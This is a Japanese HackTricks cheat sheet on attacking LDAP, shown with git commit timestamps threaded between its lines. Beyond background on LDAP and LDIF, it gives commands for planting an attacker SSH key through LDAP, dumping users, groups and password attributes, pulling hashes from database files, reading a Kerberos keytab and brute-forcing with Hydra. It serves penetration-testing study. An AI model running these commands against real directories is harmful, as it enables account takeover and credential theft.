2024-02-05 03:25:08 +00:00
# 389, 636, 3268, 3269 - LDAPのペンテスト
2022-04-28 16:01:33 +00:00
< details >
2024-02-05 03:25:08 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > でAWSハッキングをゼロからヒーローまで学ぶ< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-05 03:25:08 +00:00
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS& HackTricksスワッグ** ](https://peass.creator-spring.com )を入手する
- [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )で**フォロー**する
- **ハッキングテクニックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
## 基本情報
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
LDAP( Lightweight Directory Access Protocol) は、主にネットワーク内の組織、個人、およびさまざまなリソース( ファイル、デバイスなど) の**位置**を特定するために使用されます。これは、インターネットなどの公共プラットフォームまたはプライベートイントラネット内で行われることがあります。LDAPは、Directory Access Protocol( DAP) の簡略化バージョンであり、コードのフットプリントが削減されています。
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
LDAPディレクトリの構造には、複数のサーバに分散される仕組みがあります。これらのサーバのそれぞれに、全体のディレクトリの**複製**が存在し、定期的に**同期**されます。この文脈では、LDAPサーバはDirectory System Agent( DSA) と呼ばれます。ユーザがLDAPサーバにリクエストを送信すると、サーバはそのリクエストに完全に責任を負います。これには、必要に応じて他のDSAと通信することも含まれますが、重要なのは、ユーザが単一で統一された応答を受け取ることができるようにすることです。
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
LDAPディレクトリの組織は、単純な「ツリー」階層構造に似ており、いくつかのレベルが含まれています:
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
- 最上位レベルはルートディレクトリであり、ツリーの起点またはソースとして機能します。
- これは次のレベルである国に枝分かれします。
- 各国は組織にさらに分かれます。
- 組織は組織単位に分かれます。これらの単位は、異なる部門や部署を表すことができます。
- 最終レベルには個々のエンティティが含まれます。これには人物だけでなく、ファイルやプリンタなどの共有リソースも含まれます。
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
**デフォルトポート:** 389および636( ldaps) 。グローバルカタログ( ActiveDirectoryのLDAP) は、デフォルトでポート3268およびLDAPS用のポート3269で利用可能です。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
2024-02-05 03:25:08 +00:00
### LDAPデータ交換形式
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
LDIF( LDAPデータ交換形式) は、ディレクトリのコンテンツをレコードのセットとして定義します。また、更新リクエスト( 追加、変更、削除、名前変更) を表すこともできます。
2021-06-08 20:38:29 +00:00
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
2024-02-05 03:25:08 +00:00
* 最初の3行はトップレベルドメインlocalを定義しています
* 5-8行目は最初のレベルドメインmoneycorp( moneycorp.local) を定義しています
* 10-16行目は2つの組織単位、devとsalesを定義しています
* 18-26行目はドメインのオブジェクトを作成し、値を持つ属性を割り当てています
2021-06-08 20:38:29 +00:00
2023-07-07 23:42:27 +00:00
## データの書き込み
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。たとえば、ユーザーまたは他のユーザーの「sshPublicKey」情報を変更できると想像してください。この属性が存在する場合、おそらくsshはLDAPから公開鍵を読み取っています。ユーザーの公開鍵を変更できれば、sshでパスワード認証が有効になっていなくてもそのユーザーとしてログインできるようになります。
2020-07-15 15:43:14 +00:00
```bash
2024-02-05 03:25:08 +00:00
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
2020-07-15 15:43:14 +00:00
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
2020-07-15 15:43:14 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
## 平文の資格情報を嗅ぐ
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
LDAPがSSLなしで使用されている場合、ネットワーク内で**平文の資格情報を嗅ぐ**ことができます。
2022-10-05 21:51:12 +00:00
2024-02-05 03:25:08 +00:00
また、LDAPサーバーとクライアントの間のネットワークで**MITM**攻撃を実行することができます。ここで、**ダウングレード攻撃**を行い、クライアントが**平文の資格情報を使用**してログインするようにします。
2022-10-05 21:51:12 +00:00
2024-02-05 03:25:08 +00:00
**SSLが使用されている場合**、前述のように**MITM**を試みることができますが、**偽の証明書**を提供し、**ユーザーがそれを受け入れる**場合、認証方法をダウングレードして再び資格情報を見ることができます。
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
## 匿名アクセス
2022-10-05 21:51:12 +00:00
2024-02-05 03:25:08 +00:00
### TLS SNIチェックをバイパス
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
[**この解説** ](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ )によると、任意のドメイン名( company.comなど) でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに連絡し、情報を抽出することができました。
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
### LDAP匿名バインド
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
[LDAP匿名バインド ](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled )は、**認証されていない攻撃者**がドメインから情報を取得できるようにします。ユーザー、グループ、コンピューター、ユーザーアカウント属性、およびドメインパスワードポリシーの完全なリストなど。これは**遺産の構成**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始できるようになりました。\
ただし、管理者は**特定のアプリケーションを匿名バインドを許可するように設定**する必要がある場合があり、意図した以上のアクセス権を与えてしまい、結果として認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようになります。
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
## 有効な資格情報
2022-10-05 21:51:12 +00:00
2024-02-05 03:25:08 +00:00
LDAPサーバーにログインするための有効な資格情報がある場合、次のコマンドを使用してドメイン管理者に関するすべての情報をダンプできます:
2022-10-05 21:51:12 +00:00
[ldapdomaindump ](https://github.com/dirkjanm/ldapdomaindump )
2022-10-05 00:11:28 +00:00
```bash
2023-07-07 23:42:27 +00:00
pip3 install ldapdomaindump
2022-10-05 21:51:12 +00:00
ldapdomaindump < IP > [-r < IP > ] -u '< domain > \<username>' -p '< password > ' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
2022-10-05 00:11:28 +00:00
```
2022-10-05 21:51:12 +00:00
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
2023-07-07 23:42:27 +00:00
## 列挙
2022-10-04 23:49:59 +00:00
2023-07-07 23:42:27 +00:00
### 自動化
2022-10-04 23:49:59 +00:00
2024-02-05 03:25:08 +00:00
これを使用すると、**ドメイン名**などの**公開情報**を見ることができます。
2022-10-04 23:49:59 +00:00
```bash
nmap -n -sV --script "ldap* and not brute" < IP > #Using anonymous credentials
```
2022-10-05 21:51:12 +00:00
### Python
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
< details >
2024-02-05 03:25:08 +00:00
< summary > Python で LDAP 列挙を見る< / summary >
2022-10-05 21:51:12 +00:00
2024-02-05 03:25:08 +00:00
あなたは Python を使用して資格情報を使用してもしなくても LDAP を列挙できます: `pip3 install ldap3`
2022-10-04 23:49:59 +00:00
2024-02-05 03:25:08 +00:00
まず、資格情報なしで接続を試みてください:
2022-10-04 23:49:59 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
2022-10-04 23:49:59 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> server.info
2022-10-04 23:49:59 +00:00
```
2024-02-05 03:25:08 +00:00
もし前の例のようにレスポンスが `True` であれば、LDAP のサーバーからいくつかの**興味深いデータ**(例: **ネーミングコンテキスト**や**ドメイン名** )を取得できます:
2022-10-05 21:51:12 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
2023-07-07 23:42:27 +00:00
Naming contexts:
2022-10-05 21:51:12 +00:00
dc=DOMAIN,dc=DOMAIN
```
2024-02-05 03:25:08 +00:00
一度命名コンテキストを取得したら、さらに興奮するクエリを作成できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示するはずです:
2022-10-05 21:51:12 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
2024-02-05 03:25:08 +00:00
または、LDAP全体を**ダンプ**します:
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
< / details >
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### windapsearch
2022-10-04 23:49:59 +00:00
2024-02-05 03:25:08 +00:00
[**Windapsearch** ](https://github.com/ropnop/windapsearch ) は、LDAP クエリを利用して Windows ドメインからユーザー、グループ、およびコンピュータを列挙するのに役立つ Python スクリプトです。
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
### ldapsearch
2021-01-06 00:08:54 +00:00
2024-02-05 03:25:08 +00:00
ヌル資格情報を確認するか、資格情報が有効かどうかを確認します:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '' -w '' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
```bash
2022-05-01 12:49:36 +00:00
# CREDENTIALS NOT VALID RESPONSE
2020-07-15 15:43:14 +00:00
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
2023-07-07 23:42:27 +00:00
tion a successful bind must be completed on the connection., data 0, v3839
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
もし「_bind must be completed_」というメッセージが表示された場合、それは資格情報が間違っていることを意味します。
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
次の方法で**ドメインからすべてを抽出**することができます:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
-x Simple Authentication
2022-07-13 14:08:05 +00:00
-H LDAP Server
2020-07-15 15:43:14 +00:00
-D My User
-w My password
-b Base site, all data from here will be given
```
2024-02-05 03:25:08 +00:00
**ユーザー**を抽出します:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
抽出 **computers** :
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Computers,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
**私の情報**を抽出します:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=< MY NAME > ,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
**Domain Admins**を抽出します:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
### **Domain Users**の抽出:
1. **LDAP検索**を使用して、次のフィルタを使用してドメインユーザーを抽出します:
```plaintext
(& (objectCategory=person)(objectClass=user))
```
2. 次に、以下のコマンドを使用してLDAP検索を実行します:
```plaintext
ldapsearch -h < LDAPサーバーIP > -p < ポート番号 > -x -b "< ベースDN > " -D "< バインドDN > " -w "< パスワード > " -s sub "(& (objectCategory=person)(objectClass=user))"
```
3. ドメインユーザーのリストが表示されます。
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Users,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
**Enterprise Admins**を抽出します:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Enterprise Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
**Administrators**を抽出します:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Administrators,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
### Extract **Remote Desktop Group**:
1. Enumerate LDAP service to gather information about users and groups.
2. Search for groups related to remote desktop access.
3. Identify the members of the **Remote Desktop Group** .
4. Use this information for further exploitation or privilege escalation.
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Remote Desktop Users,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2024-02-05 03:25:08 +00:00
アクセス権限を持っているかどうかを確認するには、次のクエリのいずれかを実行した後にgrepを使用できます:
2020-07-15 15:43:14 +00:00
```bash
< ldapsearchcmd... > | grep -i -A2 -B2 "userpas"
```
2022-05-01 13:25:53 +00:00
#### pbis
2021-01-06 00:08:54 +00:00
2024-02-05 03:25:08 +00:00
**pbis**はこちらからダウンロードできます: [https://github.com/BeyondTrust/pbis-open/ ](https://github.com/BeyondTrust/pbis-open/ ) 通常は`/opt/pbis`にインストールされます。\
2023-12-26 22:04:57 +00:00
**Pbis**を使用すると、基本情報を簡単に取得できます:
2021-01-06 00:08:54 +00:00
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
2021-01-06 00:08:54 +00:00
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user < username >
./lsa list-groups-for-user < username >
2021-01-06 00:15:17 +00:00
#Get groups of each user
2021-01-06 00:08:54 +00:00
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
2021-01-06 00:08:54 +00:00
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n < Username > | grep "CN" | while read line; do
2023-07-07 23:42:27 +00:00
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n < username > -a lookup-object --dn="$line" --attr "description";
echo "======================"
2021-01-06 00:08:54 +00:00
done
```
2023-07-07 23:42:27 +00:00
## グラフィカルインターフェース
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Apache Directory
2020-09-13 20:20:14 +00:00
2024-02-05 03:25:08 +00:00
[**ここからApache Directoryをダウンロード** ](https://directory.apache.org/studio/download/download-linux.html )できます。[このツールの使用例はこちら](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)で確認できます。
2020-09-13 20:20:14 +00:00
2022-05-01 13:25:53 +00:00
### jxplorer
2020-09-13 20:20:14 +00:00
2024-02-05 03:25:08 +00:00
LDAPサーバー用のグラフィカルインターフェースを[こちらからダウンロードできます](http://www.jxplorer.org/downloads/users.html)
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
デフォルトでは、_ /opt/jxplorer_にインストールされます。
2020-07-15 15:43:14 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 22 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
### Godap
2024-02-05 03:25:08 +00:00
[https://github.com/Macmod/godap ](https://github.com/Macmod/godap )でアクセスできます。
2023-12-26 22:04:57 +00:00
2024-02-05 03:25:08 +00:00
## ケルベロス経由の認証
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
`ldapsearch` を使用して、パラメータ`-Y GSSAPI`を使用して、**NTLM**ではなく**ケルベロス**に対して**認証**できます。
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## POST
2020-07-15 15:43:14 +00:00
2024-02-05 03:25:08 +00:00
データベースが含まれるファイルにアクセスできる場合( _ /var/lib/ldap_にあるかもしれません) 。次のコマンドを使用してハッシュを抽出できます:
2020-07-15 15:43:14 +00:00
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
2024-02-05 03:25:08 +00:00
### 構成ファイル
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
* 一般
2023-07-07 23:42:27 +00:00
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
2023-12-26 22:04:57 +00:00
* IBM SecureWay V3 サーバー
2023-07-07 23:42:27 +00:00
* V3.sas.oc
2023-12-26 22:04:57 +00:00
* Microsoft Active Directory サーバー
2023-07-07 23:42:27 +00:00
* msadClassesAttrs.ldif
2020-07-15 15:43:14 +00:00
* Netscape Directory Server 4
2023-07-07 23:42:27 +00:00
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
2023-12-26 22:04:57 +00:00
* OpenLDAP ディレクトリサーバー
2023-07-07 23:42:27 +00:00
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
2020-07-15 15:43:14 +00:00
* Sun ONE Directory Server 5.1
2023-07-07 23:42:27 +00:00
* 75sas.ldif
2021-10-18 11:21:18 +00:00
```
2021-08-12 13:06:00 +00:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:52:05 +00:00
Entry_1:
2023-07-07 23:42:27 +00:00
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
2021-08-15 17:52:05 +00:00
2023-07-07 23:42:27 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
2021-08-15 17:52:05 +00:00
Entry_2:
2023-07-07 23:42:27 +00:00
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
2021-08-15 17:52:05 +00:00
Entry_3:
2023-07-07 23:42:27 +00:00
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
2021-08-15 17:52:05 +00:00
Entry_4:
2023-07-07 23:42:27 +00:00
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2021-08-15 17:52:05 +00:00
Entry_5:
2023-07-07 23:42:27 +00:00
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-25 16:33:43 +00:00
2021-09-13 15:45:07 +00:00
Entry_6:
2023-07-07 23:42:27 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 13:06:00 +00:00
```
2022-04-28 16:01:33 +00:00
< details >
2024-02-05 03:25:08 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > を通じてゼロからヒーローまでAWSハッキングを学ぶ< / strong > < / a > < strong > ! < / strong > < / summary >
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-02-05 03:25:08 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS& HackTricksスワッグ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )で**フォロー**する。
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks** ](https://github.com/carlospolop/hacktricks )および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリに。
2022-04-28 16:01:33 +00:00
< / details >